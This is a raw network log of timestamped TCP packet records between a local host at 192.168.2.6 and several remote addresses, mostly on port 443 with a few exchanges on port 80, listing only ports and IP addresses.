Oct 28, 2024 02:07:42.635330915 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.643817902 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.643831015 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.643903017 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.643908978 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.643955946 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.643980026 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.644001007 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.645934105 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.645951986 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.646002054 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.646023035 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.646059036 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.646076918 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.647716045 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.647794008 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.647979975 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.648031950 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.648044109 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.648087025 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.648133039 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.648240089 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:42.648255110 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:42.670737982 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.670751095 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.670751095 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.718044043 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.753741026 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.758483887 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.758508921 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.758582115 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.758941889 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.758955002 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.759547949 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.760140896 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.760693073 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.761292934 CET	49957	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:42.761308908 CET	443	49957	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:42.778990030 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.780936003 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.781079054 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.781229973 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.782583952 CET	49953	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:42.782601118 CET	443	49953	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:42.782624960 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.784023046 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.784044027 CET	443	49954	18.160.172.17	192.168.2.6
Oct 28, 2024 02:07:42.784063101 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.784526110 CET	49954	443	192.168.2.6	18.160.172.17
Oct 28, 2024 02:07:42.790067911 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.793091059 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.793123007 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.793615103 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.793622971 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.822637081 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.823463917 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.823990107 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.823992968 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.824012041 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.824022055 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.824636936 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.824644089 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.824644089 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.824651003 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.827805042 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.829060078 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.829133987 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:42.829200983 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:42.865062952 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.868858099 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.868876934 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.869468927 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.869474888 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.893999100 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.919275999 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.919437885 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.919492006 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.955667973 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.955720901 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.955771923 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.955785036 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.955820084 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.957297087 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.960077047 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.960189104 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.984330893 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.984352112 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.984918118 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.984924078 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.985162020 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.985205889 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.985255003 CET	49961	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.985265017 CET	443	49961	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.985332966 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.985367060 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.985392094 CET	49958	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.985399008 CET	443	49958	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.986736059 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.986769915 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.986816883 CET	49959	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.986825943 CET	443	49959	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.990109921 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.990138054 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.990206003 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.990361929 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.990386009 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.991519928 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.991559029 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.991628885 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.992646933 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.992692947 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.992779016 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.992953062 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.992971897 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995210886 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.995210886 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995229006 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995277882 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995338917 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.995348930 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995410919 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995419979 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.995441914 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.995451927 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995460033 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.995467901 CET	49960	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.995472908 CET	443	49960	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.997771025 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.997797012 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:42.997893095 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.997970104 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:42.997976065 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.097033978 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.097075939 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.097189903 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.097413063 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.097433090 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.111124992 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.111169100 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.111426115 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.111651897 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.111663103 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.115195036 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.115261078 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.115356922 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.117146969 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.117146969 CET	49964	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.117171049 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.117219925 CET	443	49964	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.123722076 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.123747110 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.123807907 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.124058008 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.124079943 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.236809969 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.237298965 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.237309933 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.238997936 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.239090919 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.239506960 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.239593029 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.239845037 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.239859104 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.239897013 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.239950895 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.402415037 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.402693033 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.402707100 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.403846025 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.403918028 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.404215097 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.404284000 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.404375076 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.404475927 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.404488087 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.447374105 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.447460890 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.611339092 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.611417055 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.616728067 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.617369890 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.617474079 CET	443	49962	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.617543936 CET	49962	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.639960051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:43.640151978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:43.701095104 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.701467991 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.701508999 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.701981068 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.702404022 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.702491999 CET	443	49974	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:43.724833012 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.730406046 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.738503933 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.749521017 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.749552011 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.749989986 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.749995947 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.751476049 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.751494884 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.751887083 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.751893044 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.752254009 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.752274036 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.752613068 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.752616882 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.754565954 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.760797977 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.760835886 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.761303902 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.761311054 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.769926071 CET	49974	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:43.860172033 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.860630035 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.860666037 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.861588955 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.861649036 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.862044096 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.862101078 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.862327099 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.862337112 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.862422943 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.862451077 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.868931055 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.874541998 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.874577045 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.874635935 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.874653101 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.874686003 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.876460075 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.876538992 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.876640081 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.876693010 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.879800081 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.879879951 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.880182981 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.893436909 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.893495083 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.893554926 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.921824932 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.921854973 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.922630072 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.922647953 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.923024893 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.923026085 CET	49971	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.923053980 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.923067093 CET	443	49971	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.923140049 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.923171997 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.923207998 CET	49972	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.923218012 CET	443	49972	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.926671028 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:43.929078102 CET	49970	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.929100990 CET	443	49970	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.930555105 CET	49973	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:43.930571079 CET	443	49973	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:43.963284969 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.967339039 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:43.993381977 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:43.993477106 CET	443	49963	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:43.993546009 CET	49963	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.051879883 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.052048922 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.052263021 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.083620071 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:44.108967066 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:44.112781048 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:44.114185095 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.206799984 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.206974030 CET	443	49968	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.207087040 CET	49968	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.217952967 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.231926918 CET	49955	443	192.168.2.6	20.125.209.212
Oct 28, 2024 02:07:44.231949091 CET	443	49955	20.125.209.212	192.168.2.6
Oct 28, 2024 02:07:44.243506908 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.243522882 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.244013071 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.250803947 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.250915051 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.268876076 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.271856070 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.271895885 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.275410891 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.275422096 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.275510073 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.292723894 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.292745113 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.292783022 CET	49976	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.292790890 CET	443	49976	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.313884974 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.313900948 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.317734003 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.317783117 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.317899942 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.318161011 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.318176031 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.324615955 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.324637890 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.324743032 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.327094078 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.327137947 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.327210903 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.327914000 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.327928066 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.328361988 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.328387022 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.338021040 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.338072062 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.338188887 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.338937998 CET	49981	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:44.338949919 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:44.356762886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:44.362504005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:44.592902899 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.593581915 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.593624115 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.593789101 CET	443	49975	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:44.593843937 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:44.593859911 CET	49975	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:45.055625916 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.056512117 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.056564093 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.056932926 CET	49978	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.056941032 CET	443	49978	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.062915087 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.062946081 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.063568115 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.063580036 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.063718081 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.063755989 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.064162970 CET	49977	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.064167023 CET	443	49977	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.064482927 CET	49980	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.064495087 CET	443	49980	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.067532063 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.067929983 CET	443	49981	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.068301916 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.068317890 CET	443	49979	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:45.069334984 CET	49979	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:45.069340944 CET	443	49979	13.107.246.60	192.168.2.6
